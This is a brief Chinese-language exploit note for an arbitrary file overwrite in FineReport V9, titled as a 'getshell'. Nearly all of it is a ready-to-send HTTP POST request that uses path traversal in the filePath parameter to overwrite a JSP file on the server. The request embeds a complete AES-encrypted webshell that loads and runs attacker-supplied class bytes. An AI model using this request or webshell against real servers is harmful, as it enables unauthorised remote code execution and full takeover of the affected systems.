帆软 V9 Getshell

v10.0版本不受影响

 

FineReport V9

注意: 这个漏洞是任意文件覆盖，上传 JSP 马，需要找已存在的 jsp 文件进行覆盖 Tomcat 启动帆软后默认存在的 JSP 文件:

比如:/tomcat-7.0.96/webapps/ROOT/index.jsp

覆盖 Tomcat 自带 ROOT 目录下的 index.jsp:

POST /WebReport/ReportServer? op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update .jsp HTTP/1.1 Host: 192.168.169.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Connection: close
Accept-Au: 0c42b2f264071be0507acea1876c74
Content-Type: text/xml;charset=UTF-8
Content-Length: 675

{"__CONTENT__":"<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null) {String k=(""+UUID.randomUUID()).replace("- ","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta nce().equals(pageContext);%>","__CHARSET__":"UTF-8"}